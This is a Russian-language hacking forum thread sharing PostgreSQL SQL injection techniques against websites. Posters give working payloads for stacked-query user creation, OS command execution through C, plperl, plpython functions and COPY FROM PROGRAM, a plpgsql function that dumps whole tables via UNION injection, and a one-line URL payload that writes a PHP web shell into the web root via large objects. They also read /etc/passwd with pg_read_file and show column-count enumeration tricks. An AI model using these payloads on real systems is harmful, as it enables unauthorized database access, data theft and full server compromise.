в его случае права у юзера полные просто там база данных находится на другом сервере если права usesuper то работает всегда
пытаюсь зарегать нового юзера таблица user колонки login и passwd пробую так: id=27;INSERT INTO user(login) VALUES ('значение логина'); выдает ошибку типа поле пароль пустое(ну правильно, логично) как сделать запрос чтоб сразу заполнить два поля(логин и пароль)? сам спросил, сам и отвечаю в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);--
Небольшое дополнение в тему создания функций. 1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки: Создаем таблицу stdout с колонками id,system_out. Создаем функцию system(). Выполняем произвольную команду и записываем результат её выполнения в /tmp/test. Копируем данные из /tmp/test в таблицу stdout. Выводим данные на экран. 2. Чуть подругому через plperl: Создаем язык, если он не был создан. Создаем функцию proxyshell(). Выполняем команду и выводим на экран. 3. И напоследок через plpython: Создаем функцию proxyshell(). Наслаждаемся выполнением команд)
У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(100) по аналогии с mysql? А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/ Первоначальный вариант не подошел, т.к. кавычки экранируются.
http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html http://www.postgresql.org/docs/8.4/static/release-8-0.html какой тебе пример нужен? скулю показать где это работает?
Прощай лимит Если у нас установлен процедурный язык plpgsql Code: select lanname from pg_language where lanname='plpgsql' Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом Для этого создаем функцию Code: CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$ DECLARE schema ALIAS FOR $1; table ALIAS FOR $2; column1 ALIAS FOR $3; column2 ALIAS FOR $4; column3 ALIAS FOR $5; count int; i int; temp text; int_test text; input_refc refcursor; BEGIN int_test := $qr$Result : $qr$; OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table); FETCH input_refc into count; CLOSE input_refc; count := count - 1; BEGIN FOR i in 0..count LOOP OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i; FETCH input_refc into temp; CLOSE input_refc; int_test := int_test || temp; END LOOP; RETURN int_test; END; END; $func$ LANGUAGE plpgsql; Функция getall() получает 5 параметров 1 - имя базы 2 - имя таблицы 3,4,5,6 - имена колонок Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br> екземпл id=-1 union select getall('information_schema','columns','column_name','table_name','table_schema')
Вариант заливки шелла Заливка шелла через большие объекты (large objects). 1. Создаем LO. Code: dbname=# SELECT lo_create(-1); Запрос вернет идентификатор типа 4294967295. Это id созданного LO. 2. Подготовим шелл и пропишем его в БД Code: dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295; 3. Экспортируем код во внешний файл Code: dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php'); Шелл залит. Осталось удалить LO из БД Code: dbname=# SELECT lo_unlink(4294967295); Все это можно заюзать в одной строке Code: http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);-- Для заливки также требуются права usesuper PS. Ну и случайно нашел. На запрос типа Code: http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f)) вывалится ошибка Code: ERROR: table "q" has 5 columns available but 6 columns specified ERROR: у таблицы "q" колонок доступно: 5, но указано: 6 если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка Code: ERROR: subquery must return only one column ERROR: подзапрос должен вернуть только одну колонку Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице
с версии 8.2 этот вектор больше не работает Code: CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT; Code: ERROR: incompatible library "xxx.so": missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. можно собрать udf либу самому (обязательно компилить с той же версией pg!) Code: https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c у sqlmap-а есть готовые версии в репозитарии Code: https://github.com/sqlmapproject/sqlmap/tree/master/udf/postgresql/ но они косячные, не инсталятся, вот заметка на эту тему Code: http://www.jianfensec.com/postgresql_getshell.html так же в версии 9.3 появился альтернативный доступ к башу Code: https://www.postgresql.org/docs/9.3/sql-copy.html Code: COPY table FROM PROGRAM 'id;uname -a'
Вывод из pg_catalog. Колонки Code: select attname from pg_catalog.pg_attribute where attrelid=(select oid from pg_catalog.pg_class where relname='pg_proc') AND attnum>0 pg_attribute attname - названия колонок attrelid - идентификатор таблицы attnum - порядковый номер колонки, системные имеют отрицательное значение pg_class oid - идентификатор таблицы relname - имя таблицы БД Code: select distinct schemaname from pg_catalog.pg_tables
Среди функций администратора https://www.postgresql.org/docs/current/functions-admin.html пара функций может пригодиться пентестеру. Посмотреть листинг каталога, или прочитать файл. Code: select * from pg_ls_dir('/etc/nginx/sites-enabled/'); select * from pg_read_file('/etc/passwd'); select * from pg_read_binary_file('/etc/passwd'); Доступны они, если есть права суперпользователя. == Иногда нужно посмотреть текст запроса, где срабатывает SQLi, чтобы отладить начинку, с этим поможет функция: Code: current_query() тут дополнительные права не нужны.